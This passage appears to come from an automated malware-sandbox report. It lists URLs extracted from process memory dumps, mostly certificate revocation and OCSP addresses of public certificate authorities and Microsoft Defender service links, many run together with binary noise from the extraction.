"http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00000412.00000000.122181.29350000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00000412.00000000.122181.29350000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00000412.00000000.122181.29350000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00000412.00000000.122181.29350000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00000412.00000000.122181.29350000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0@39)p39)" - Source: "00000000-00000412.00000000.122181.29350000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00000412.00000000.122181.29350000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?secom" - Source: "00000000-00000412.00000000.122181.29350000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00000412.00000000.122181.29350000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00000412.00000000.122181.29350000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00000412.00000000.122181.29350000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00000412.00000000.122181.29350000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l+o>)?o>)so>)go>)" - Source: "00000000-00000412.00000000.122181.29350000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00000412.00000000.122181.41930000.00000004.mdmp") Found URL "http://www.microsoft.com/windowsxpv)(d\)*sbycasm" - Source: "00000000-00000412.00000000.122181.41930000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00000412.00000000.122181.419A9000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l" - Source: "00000000-00001708.00000000.121766.1BF30000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportindows" - Source: "00000000-00001708.00000000.121766.1DCA0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00001708.00000000.121766.1DCA0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00001708.00000000.121766.1DCA0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00001708.00000000.121766.1DCA0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czco!yjr76" - Source: "00000000-00001708.00000000.121766.36350000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e0\86" - Source: "00000000-00001708.00000000.121766.36350000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00001708.00000000.121766.36350000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00001708.00000000.121766.36350000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00001708.00000000.121766.36350000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00001708.00000000.121766.36350000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00001708.00000000.121766.36350000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;m86" - Source: "00000000-00001708.00000000.121766.36350000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00001708.00000000.121766.36350000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00001708.00000000.121766.36350000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00001708.00000000.121766.36350000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00001708.00000000.121766.36350000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00001708.00000000.121766.36350000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0erissi" - Source: "00000000-00001708.00000000.121766.36350000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00001708.00000000.121766.36350000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3geotrust" - Source: "00000000-00001708.00000000.121766.36350000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00001708.00000000.121766.36350000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00001708.00000000.121766.36350000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00001708.00000000.121766.36350000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00001708.00000000.121766.36350000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lz?6" - Source: "00000000-00001708.00000000.121766.36350000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00001708.00000000.121766.36350000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>" - Source: "00000000-00001708.00000000.121766.36350000.00000004.mdmp") Found URL "http://www.microsoft.com/windows" - Source: "00000000-00001708.00000000.121766.3698F000.00000004.mdmp") Found URL "http://www.microsoft.com/windowsa+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00001708.00000000.121766.3698F000.00000004.mdmp") Found URL "http://micrft" - Source: "00000000-00001708.00000000.121766.3698F000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00001708.00000000.121766.3698F000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00001708.00000000.121766.F2E18000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00001708.00000000.121766.F2E18000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllmpconfigut-53e7e780-2330-40c6-94c6-be75e946e933oftware\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00001708.00000000.121766.F2E18000.00000002.mdmp") Found URL "http://www.microsoft.com0'6*l" - Source: "00000000-00001708.00000001.122279.1BF30000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czco!yjr76" - Source: "00000000-00001708.00000001.122279.36350000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e0\86" - Source: "00000000-00001708.00000001.122279.36350000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00001708.00000001.122279.36350000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00001708.00000001.122279.36350000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00001708.00000001.122279.36350000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00001708.00000001.122279.36350000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00001708.00000001.122279.36350000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;m86" - Source: "00000000-00001708.00000001.122279.36350000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00001708.00000001.122279.36350000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00001708.00000001.122279.36350000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00001708.00000001.122279.36350000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00001708.00000001.122279.36350000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00001708.00000001.122279.36350000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0erissi" - Source: "00000000-00001708.00000001.122279.36350000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00001708.00000001.122279.36350000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3geotrust" - Source: "00000000-00001708.00000001.122279.36350000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00001708.00000001.122279.36350000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00001708.00000001.122279.36350000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00001708.00000001.122279.36350000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00001708.00000001.122279.36350000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lz?6" - Source: "00000000-00001708.00000001.122279.36350000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00001708.00000001.122279.36350000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>" - Source: "00000000-00001708.00000001.122279.36350000.00000004.mdmp") Found URL "http://www.microsoft.com/windows" - Source: "00000000-00001708.00000001.122279.3698F000.00000004.mdmp") Found URL "http://www.microsoft.com/windowsa+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00001708.00000001.122279.3698F000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00001708.00000001.122279.3698F000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00008040.00000000.122438.317D0000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00008040.00000000.122438.317D0000.00000004.mdmp") Found URL "https://www.di2ol!o!yj>9iqmgvw,czcv4.0.30319v'" - Source: "00000000-00008040.00000000.122438.317D0000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportntispyware.0.0.0.0.0.0indefend@tr7nstalllocation\miclockedlocationomclassguidartnerguidnternalmodeomclassguidartnerguidindows" - Source: "00000000-00008040.00000000.122438.33720000.00000004.mdmp") Found URL "http://www.microsoft.com/windr3]" - Source: "00000000-00008040.00000000.122438.33720000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://wwnoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00008040.00000000.122438.33720000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/micti2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00008040.00000000.122438.33720000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00008040.00000000.122438.33720000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00008040.00000000.122438.33720000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00008040.00000000.122438.33720000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*ln+" - Source: "00000000-00008040.00000000.122438.4BF20000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00008040.00000000.122438.4BF20000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00008040.00000000.122438.4BF20000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00008040.00000000.122438.4BF20000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00008040.00000000.122438.4BF20000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00008040.00000000.122438.4BF20000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00008040.00000000.122438.4BF20000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00008040.00000000.122438.4BF20000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00008040.00000000.122438.4BF20000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00008040.00000000.122438.4BF20000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcdecdthawte," - Source: "00000000-00008040.00000000.122438.4BF20000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00008040.00000000.122438.4BF20000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00008040.00000000.122438.4BF20000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00008040.00000000.122438.4BF20000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00008040.00000000.122438.4BF20000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00008040.00000000.122438.4BF20000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00008040.00000000.122438.4BF20000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00008040.00000000.122438.4BF20000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00008040.00000000.122438.4BF20000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00008040.00000000.122438.4BF20000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00008040.00000000.122438.4BF20000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00008040.00000000.122438.4BF20000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00008040.00000000.122438.4BF20000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0washington1redmond1microsoft" - Source: "00000000-00008040.00000000.122438.4BF20000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00008040.00000000.122438.4BF20000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00008040.00000000.122438.4BF20000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00008040.00000000.122438.4BF20000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00008040.00000000.122438.4BF20000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00008040.00000000.122438.4BF20000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00008040.00000000.122438.4BF20000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00008040.00000000.122438.4BF20000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fanonymously" - Source: "00000000-00008040.00000000.122438.4BF20000.00000004.mdmp") Found URL "http://w/ts/microoceraut_2010-06-23.crt01http://wwwt.c%del]1.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00008040.00000000.122438.4BF20000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00008040.00000000.122438.4BF20000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>washington1redmond1microsoft" - Source: "00000000-00008040.00000000.122438.4C400000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>rsa1e4ilxa" - Source: "00000000-00008040.00000000.122438.4C400000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00008040.00000000.122438.4C400000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00008040.00000001.124357.317D0000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00008040.00000001.124357.317D0000.00000004.mdmp") Found URL "https://www.di2ol!o!yj>9iqmgvw,czcv4.0.30319j73]v'" - Source: "00000000-00008040.00000001.124357.317D0000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportntispyware.0.0.0.0.0.0indefend@tr7nstalllocation\miclockedlocationomclassguidartnerguidnternalmodeomclassguidartnerguidindows" - Source: "00000000-00008040.00000001.124357.33720000.00000004.mdmp") Found URL "http://www.microsoft.com/windr3]" - Source: "00000000-00008040.00000001.124357.33720000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://wwnoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00008040.00000001.124357.33720000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/micti2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00008040.00000001.124357.33720000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00008040.00000002.126276.18442000.00000002.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0/r$u,ev$f9]mwyprg?j?" - Source: "00000000-00008040.00000002.126276.4CD50000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-jyqf;?0xdb7j[agysf0d1aoc1402+229879+719555cb-6de2-446c-acba-d90894acd8720m0k0ichttp://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-washington1redmond1microsoft" - Source: "00000000-00008040.00000002.126276.4CD50000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-m6perw2lb(kbt9h+qns46eozc8pzx7lvf0a+nsn+164kdvyycx3covg36o5sjsbbyjpaesp4nnmtrwi3rslvvo9mot+yxzsfyjd2/1spmybsbgblyisyzp3kx/9ru61bxy69ekm2q+fsjuazgusyk8wxp+iwnjwbosmatqa3hp6ggpap/d7ezw3/0vch0j4yrzvsls/kzpstywtwesyuuhiul1axcxuz0unrvoo3y5etj5rs9xnfe2vtlg0+cgjagu9ktzfyecr2iglyqu0j5l+uqhau2cajwn1ufrkovmbigk0odwwopejsoka1zu/w2c87jjueraglw8i1de3ib9d5cbjlqqyopoyuwnkxopetq6mdi7+ruotrhotwufx1afixldo9lxzjvtmilaymucmjg2mzlodne55e+rmunqad3djcmasy0yfskccvnt2e5eivnj422titiq4uzgpxn8se6ybohwcdb/hfzuzhxoqmqwhwsutz37ha5h4njdcmd5fwashington1redmond1microsoft" - Source: "00000000-00008040.00000002.126276.4CD50000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-3?qe3pq\hl5" - Source: "00000000-00008040.00000002.126276.4CD50000.00000004.mdmp") Found URL "http://www.microsoft.com/windows048j^" - Source: "00000000-00008040.00000002.126276.4CD50000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00008040.00000002.126276.4CD50000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00008040.00000002.126276.F32B8000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00008040.00000002.126276.F32B8000.00000002.mdmp") Found URL 